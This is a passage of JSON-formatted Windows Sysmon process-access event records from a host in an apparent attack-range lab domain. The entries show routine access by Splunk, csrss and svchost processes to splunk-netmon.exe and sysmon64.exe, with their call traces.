11:51:05.331","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4029-5F2D-0000-001087870400}","TargetProcessId":"3148","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2670,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:05.331\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4029-5F2D-0000-001087870400}\r\nTargetProcessId: 3148\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:05.331","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4029-5F2D-0000-001087870400}","TargetProcessId":"3148","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:51:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2671,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:05.331\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:05.331","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2672,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:05.331\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:05.331","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2673,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:05.331\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:05.331","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2674,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:05.331\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:05.331","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2675,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:05.331\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:05.331","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2676,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:05.331\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:05.331","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2677,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:05.331\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:05.331","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 